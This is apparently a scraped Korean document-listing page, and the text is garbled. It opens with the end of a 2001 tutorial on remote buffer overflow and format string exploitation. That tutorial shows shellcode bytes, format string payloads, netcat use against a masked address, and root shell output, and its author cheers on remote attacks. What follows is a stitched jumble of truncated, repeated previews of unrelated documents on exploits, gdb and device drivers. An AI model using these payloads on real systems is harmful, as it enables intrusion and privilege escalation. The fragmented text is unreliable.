\x8d\x42\x0b\xcd\x80\x0a";cat) nc xxx.xx.xx.xx sleep... REMOTE Buffer Overflow 페이지 19

20 ... sleep sleep 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱? 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱B? 릱릱릱릱릱릱릱릱릱릱? 0xbffff7d cc f9 ff bf ce f9 ff bf... 0xbffff7e e %63476d%hn% xbffff7f e d%hn... 0xbffff xbffff xbffff xbffff xbffff xbffff xbffff xbffff xbffff d e...1.Rhn 0xbffff894 2f f 2f e e1 8d 42 /shh//bi..rs...b 0xbffff8a4 0b cd 80 0a b e xbffff8b4 ac a a8 2b b xbffff8c4 a8 2b a ac a4 02 0xbffff8d4 98 2a b xbffff8e4 f f a a 02 0xbffff8f4 74 bc a8 2b e xbffff f9 ff bf f b xbffff914 0f 53 8e 07 9c f9 ff bf f xbffff924 a8 2b ac f9 ff bf bf 6b f5 01 0xbffff934 a8 2b f4 0c a8 2b b xbffff944 8e ff cc f9 ff bf f4 1f 02 id uid=0(root) gid=0(root) groups=0(root) exit Success~! 멋지게성공했다. :-D 어떻게이러한멋진결과가나오게되었는지 gdb Debugging 을통해살펴보도록하자. nc 를이용한 code debug 공격자입력부분 : > cc f9 ff bf ce f9 ff bf #... REMOTE Buffer Overflow 페이지 20

21 // "\x82\x82\x82\x82\xcc\xf9\xff\xbf\x82\x82\x82\x82\xce\xf9\xff\xbf" > e # %63476d%hn%51195 > e # d%hn... // "%63476d%hn%51195d%hn" > #... > #... > #... > #... > #... > #... > #... > a #... > b // NOP 입력끝 31 d e #...1.Rhn > c0 2f f 2f e e1 8d 42 # /shh//bi..rs...b > d0 0b cd 80 // shellcode 입력끝 0a #... // '\0' 입력문자열의끝을알리는 Enter Daemon 프로그램의출력부분 : < cc f9 ff bf ce f9 ff bf #... < # < # < # < # < #... 중략... < 0000f7d # < 0000f7e # < 0000f7f d # < 0000f # 6126 < 0000f # < 0000f #... 중략... REMOTE Buffer Overflow 페이지 21

22 < 0001bfa # < 0001bfb # < 0001bfc # < 0001bfd # < 0001bfe # < 0001bff d # < 0001c #... < 0001c #... < 0001c #... < 0001c #... < 0001c #... < 0001c #... < 0001c #... < 0001c #... < 0001c #... < 0001c d e 2f f #...1.Rhn/shh/ < 0001c0a0 2f e e1 8d 42 0b cd 80 0a 00 # /bi..rs...b...0 위에서출력되는 " " 라는값은우리가두번에나누어 Overwrite 한값의출력된모습이다. 2번에걸쳐쓰기로했으므로, 전부두번출력되었다. "\x20" 은공백문자열로써, 우리가계산하여 push한위치까지 jump 하는모습을그대로보여주고있다. 그뒤는 NOP 와 shellcode가고스란히놓여지고, 마지막 "x0a" 으로문자열입력의끝을알리면서정확한계산공격이성공하게된것이다. 0x05. 결론 이로써 Remote Overflow & Format String 공격을모두성공해보았다. code를 dump 해보지못하는실제환경에서연습해보려면위의작업보다훨씬더복잡한작업을거쳐야한다. 위의작업은실제환경에서발생할변수를제외한예제에불가하기때문이다. 공격자는각기다른여러환경의공격을시도해볼필요가있다. 만약여러분이공격에대한충분한지식과 KnowHow 가성립되면, 나중에는이보다 더난이도높은갚진기술을구사할수있을것이다. :-) 갑자기어느분의말씀이떠오른다. " 원격지에서어떤시스템의취약점을이용하여쉘을띄운다는것은참멋진일인것같습니다." 그렇다. 필자의생각에도원격 remote 상에서이루어지는공격을보면, 참아름다움을느낀다. REMOTE Buffer Overflow 페이지 22

23 현재이문서를작성중에도여러 remote attack 을구사하고, 연구하는이들을위해... 격려의메세지를전하고싶다. :-) P.S: 내용이중간중간어지러운부분이보입니다. 글도깨끗하지못하고 --; 요새워낙이런저런일에시달리다보니... 문서작성에소홀함을느낄때가많습니다. ( 참고로, 이것은필자의핑계임다 --;;) 하루빨리게으른생활을청산하고본연의모습으로돌아가야겠습니다. 그동안곁에서힘을주고연락하던친구들에게감사의마음을전합니다. ^^ 뿐만아니라, 질문사항이나기타좋은내용을메일을통해보내주신여러분들께도진심으로감사드립니다. 그럼, 이만... :-D by Xpl017Elz. 2001/11/09. REMOTE Buffer Overflow 페이지 23

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

Sena Technologies, Inc. HelloDevice Super 1.1.0

Sena Technologies, Inc. HelloDevice Super 1.1.0 HelloDevice Super 110 Copyright 1998-2005, All rights reserved HelloDevice 210 ()137-130 Tel: (02) 573-5422 Fax: (02) 573-7710 E-Mail: support@senacom Website: http://wwwsenacom Revision history Revision

More information

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Computer Security Chapter 08. Format String 김동진   1 Secure Software Lab. Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

vi 사용법

vi 사용법 유닉스프로그래밍및실습 gdb 사용법 fprintf 이용 단순디버깅 확인하고자하는코드부분에 fprintf(stderr, ) 를이용하여그지점까지도달했는지여부와관심있는변수의값을확인 여러유형의단순한문제를확인할수있음 그러나자세히살펴보기위해서는디버깅툴필요 int main(void) { int count; long large_no; double real_no; init_vars();

More information

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770> 기술문서 09. 11. 3. 작성 Format String Bug 에서 dtors 우회 작성자 : 영남대학교 @Xpert 박병규 preex@ynu.ac.kr 1. 요약... 2 2. d to r 이란... 3 3. 포맷스트링... 4 4. ro o t 권한획득... 7 5. 참고자료... 1 0-1 - 1. 요약 포맷스트링버그 (Format String bug)

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

History

History [Document Information] Title : History Of Buffer Over Flow VOL. 1 Date : 2007. 3. 28 Author : hardsoju Contact : E-Mail(hardsoju@hanmail.net) 1 [Index] 1. 개요 2. 환경변수의이해 2.1 eggshell 을이용한 root shell 획득

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 (Host) set up : Linux Backend RS-232, Ethernet, parallel(jtag) Host terminal Target terminal : monitor (Minicom) JTAG Cross compiler Boot loader Pentium Redhat 9.0 Serial port Serial cross cable Ethernet

More information

Microsoft Word - readme.doc

Microsoft Word - readme.doc ========================================================= 제 1 회광주과기원정보통신공학과 SW 경진대회 (Hacking 경진대회 ) 대회시작 : 2002 년 8 월 8 일 ( 목 ) 오후 9:00 ( 한국시간, GMT+9:00) 대회종료 : 2002 년 8 월 10 일 ( 토 ) 오후 9:00 ( 한국시간, GMT+9:00)

More information

gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이

gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이 gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이나왔다한다. Debugging을하는가장원초적방법은프로그램소스를눈으로따라가며, 머리로실행시켜논리적오류를찾아내는것이다.

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

Microsoft PowerPoint - [2009] 02.pptx

Microsoft PowerPoint - [2009] 02.pptx 원시데이터유형과연산 원시데이터유형과연산 원시데이터유형과연산 숫자데이터유형 - 숫자데이터유형 원시데이터유형과연산 표준입출력함수 - printf 문 가장기본적인출력함수. (stdio.h) 문법 ) printf( Test printf. a = %d \n, a); printf( %d, %f, %c \n, a, b, c); #include #include

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1 FTZ LEVEL11 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); gdb 를이용해분석해보면 [level11@ftz level11]$

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

<52544CC0BB20BEC6B4C2B0A12E687770>

<52544CC0BB20BEC6B4C2B0A12E687770> RTL 을아는가? 작성일 : 2009/12/01 Written by MaJ3stY ----------------------------------------------------------------------- 목차 0x01 Notice 0x02 RTL 이란? 0x03 공격을직접해보자. 0x04 마치며 -----------------------------------------------------------------------

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

bn2019_2

bn2019_2 arp -a Packet Logging/Editing Decode Buffer Capture Driver Logging: permanent storage of packets for offline analysis Decode: packets must be decoded to human readable form. Buffer: packets must temporarily

More information

Microsoft PowerPoint - chap06-1Array.ppt

Microsoft PowerPoint - chap06-1Array.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-1 참고자료 배열 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 배열의선언과사용 같은형태의자료형이많이필요할때배열을사용하면효과적이다. 배열의선언 배열의사용 배열과반복문 배열의초기화 유연성있게배열다루기 한빛미디어

More information

MPLAB C18 C

MPLAB C18 C MPLAB C18 C MPLAB C18 MPLAB C18 C MPLAB C18 C #define START, c:\mcc18 errorlevel{0 1} char isascii(char ch); list[list_optioin,list_option] OK, Cancel , MPLAB IDE User s Guide MPLAB C18 C

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

목차 BUG offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate

목차 BUG offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate ALTIBASE HDB 6.1.1.5.6 Patch Notes 목차 BUG-39240 offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG-41443 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate 한뒤, hash partition

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - MSOffice_WPS_analysis.doc MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS

More information

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D313939392D382E687770>

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D313939392D382E687770> i ii iii iv v vi 1 2 3 4 가상대학 시스템의 국내외 현황 조사 가상대학 플랫폼 개발 이상적인 가상대학시스템의 미래상 제안 5 웹-기반 가상대학 시스템 전통적인 교수 방법 시간/공간 제약을 극복한 학습동기 부여 교수의 일방적인 내용전달 교수와 학생간의 상호작용 동료 학생들 간의 상호작용 가상대학 운영 공지사항,강의록 자료실, 메모 질의응답,

More information

1. What is AX1 AX1 Program은 WIZnet 사의 Hardwired TCP/IP Chip인 iinchip 들의성능평가및 Test를위해제작된 Windows 기반의 PC Program이다. AX1은 Internet을통해 iinchip Evaluation

1. What is AX1 AX1 Program은 WIZnet 사의 Hardwired TCP/IP Chip인 iinchip 들의성능평가및 Test를위해제작된 Windows 기반의 PC Program이다. AX1은 Internet을통해 iinchip Evaluation 1. What is AX1 AX1 Program은 WIZnet 사의 Hardwired TCP/IP Chip인 iinchip 들의성능평가및 Test를위해제작된 Windows 기반의 PC Program이다. AX1은 Internet을통해 iinchip Evaluation Board(EVB B/D) 들과 TCP/IP Protocol로연결되며, 연결된 TCP/IP

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Network Programming Jo, Heeseung Network 실습 네트워크프로그래밍 멀리떨어져있는호스트들이서로데이터를주고받을수있도록프로그램을구현하는것 파일과는달리데이터를주고받을대상이멀리떨어져있기때문에소프트웨어차원에서호스트들간에연결을해주는장치가필요 이러한기능을해주는장치로소켓이라는인터페이스를많이사용 소켓프로그래밍이란용어와네트워크프로그래밍이랑용어가같은의미로사용

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

PWR PWR HDD HDD USB USB Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl Cable PC PC DDNS (

PWR PWR HDD HDD USB USB Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl Cable PC PC DDNS ( PWR PWR HDD HDD USB USB Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl Cable PC PC DDNS (http://ddns.hanwha-security.com) Step 1~5. Step, PC, DVR Step 1. Cable Step

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

2009년 상반기 사업계획

2009년 상반기 사업계획 소켓프로그래밍활용 IT CookBook, 유닉스시스템프로그래밍 학습목표 소켓인터페이스를활용한다양한프로그램을작성할수있다. 2/23 목차 TCP 기반프로그래밍 반복서버 동시동작서버 동시동작서버-exec함수사용하기 동시동작서버-명령행인자로소켓기술자전달하기 UDP 프로그래밍 3/23 TCP 기반프로그래밍 반복서버 데몬프로세스가직접모든클라이언트의요청을차례로처리 동시동작서버

More information

Microsoft PowerPoint - chap03-변수와데이터형.pptx

Microsoft PowerPoint - chap03-변수와데이터형.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num %d\n", num); return 0; } 1 학습목표 의 개념에 대해 알아본다.

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

C 프로그래밍 언어 입문 C 프로그래밍 언어 입문 김명호저 숭실대학교 출판국 머리말..... C, C++, Java, Fortran, Python, Ruby,.. C. C 1972. 40 C.. C. 1999 C99. C99. C. C. C., kmh ssu.ac.kr.. ,. 2013 12 Contents 1장 프로그래밍 시작 1.1 C 10 1.2 12

More information

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher( 실행할페이지.jsp); 다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp"); dispatcher.forward(request, response); - 위의예에서와같이 RequestDispatcher

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

C# Programming Guide - Types

C# Programming Guide - Types C# Programming Guide - Types 최도경 lifeisforu@wemade.com 이문서는 MSDN 의 Types 를요약하고보충한것입니다. http://msdn.microsoft.com/enus/library/ms173104(v=vs.100).aspx Types, Variables, and Values C# 은 type 에민감한언어이다. 모든

More information

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc NTAS and FRAME BUILDER Install Guide NTAS and FRAME BUILDER Version 2.5 Copyright 2003 Ari System, Inc. All Rights reserved. NTAS and FRAME BUILDER are trademarks or registered trademarks of Ari System,

More information

Microsoft PowerPoint - ch07 - 포인터 pm0415

Microsoft PowerPoint - ch07 - 포인터 pm0415 2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자

More information

untitled

untitled GUI Programming in Embedded Linux Embedded System Lab. II GUI 1:1 Embedded System Lab. II 2 Qt QT trolltech cross GUI QT ( ),, Mac, Linux, *nix C++ Qt X11 C++ GUI. (, ). Qt. Embedded System Lab. II 3 Qt/Embedded

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Development Environment 2 Jo, Heeseung make make Definition make is utility to maintain groups of programs Object If some file is modified, make detects it and update files related with modified one It

More information

ISP and CodeVisionAVR C Compiler.hwp

ISP and CodeVisionAVR C Compiler.hwp USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler http://www.avrmall.com/ November 12, 2007 Copyright (c) 2003-2008 All Rights Reserved. USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler

More information

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG - Buffer Overflow - 윤석언 SlaxCore@gmailcom 제12회세미나 수원대학교보안동아리 FLAG http://flagsuwonackr - 1 - < BOF(Buffer OverFlow) > - Stack 기반 - Heap 기반 # 기초 : Stack 기반의 BOF 스택 : 기본적으로 2개의 operation(push, pop) 과 1 개의변수(top)

More information

Microsoft PowerPoint - Java7.pptx

Microsoft PowerPoint - Java7.pptx HPC & OT Lab. 1 HPC & OT Lab. 2 실습 7 주차 Jin-Ho, Jang M.S. Hanyang Univ. HPC&OT Lab. jinhoyo@nate.com HPC & OT Lab. 3 Component Structure 객체 (object) 생성개념을이해한다. 외부클래스에대한접근방법을이해한다. 접근제어자 (public & private)

More information

Microsoft PowerPoint APUE(Intro).ppt

Microsoft PowerPoint APUE(Intro).ppt 컴퓨터특강 () [Ch. 1 & Ch. 2] 2006 년봄학기 문양세강원대학교컴퓨터과학과 APUE 강의목적 UNIX 시스템프로그래밍 file, process, signal, network programming UNIX 시스템의체계적이해 시스템프로그래밍능력향상 Page 2 1 APUE 강의동기 UNIX 는인기있는운영체제 서버시스템 ( 웹서버, 데이터베이스서버

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

컴파일러

컴파일러 YACC 응용예 Desktop Calculator 7/23 Lex 입력 수식문법을위한 lex 입력 : calc.l %{ #include calc.tab.h" %} %% [0-9]+ return(number) [ \t] \n return(0) \+ return('+') \* return('*'). { printf("'%c': illegal character\n",

More information

°ø±â¾Ð±â±â

°ø±â¾Ð±â±â 20, 30, 40 20, 30, 40 1 2 3 4 5 6 7 8 9 10 3.1 6.3 9.4 12.6 15.7 18.8 22.0 25.1 28.3 31.4 2.4 4.7 7.1 9.4 11.8 14.1 16.5 18.8 21.2 23.6 7.1 14.1 21.2 28.3 35.3 42.4 49.5 56.5 63.6 70.7 5.9 11.9 17.8 23.7

More information

OCW_C언어 기초

OCW_C언어 기초 초보프로그래머를위한 C 언어기초 4 장 : 연산자 2012 년 이은주 학습목표 수식의개념과연산자및피연산자에대한학습 C 의알아보기 연산자의우선순위와결합방향에대하여알아보기 2 목차 연산자의기본개념 수식 연산자와피연산자 산술연산자 / 증감연산자 관계연산자 / 논리연산자 비트연산자 / 대입연산자연산자의우선순위와결합방향 조건연산자 / 형변환연산자 연산자의우선순위 연산자의결합방향

More information

USB USB DV25 DV25 REC SRN-475S REC SRN-475S LAN POWER LAN POWER Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl C

USB USB DV25 DV25 REC SRN-475S REC SRN-475S LAN POWER LAN POWER Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl C USB USB DV25 DV25 REC SRN-475S REC SRN-475S LAN POWER LAN POWER Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl Cable PC PC Step 1~5. Step, PC, DVR Step 1. Cable Step

More information

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

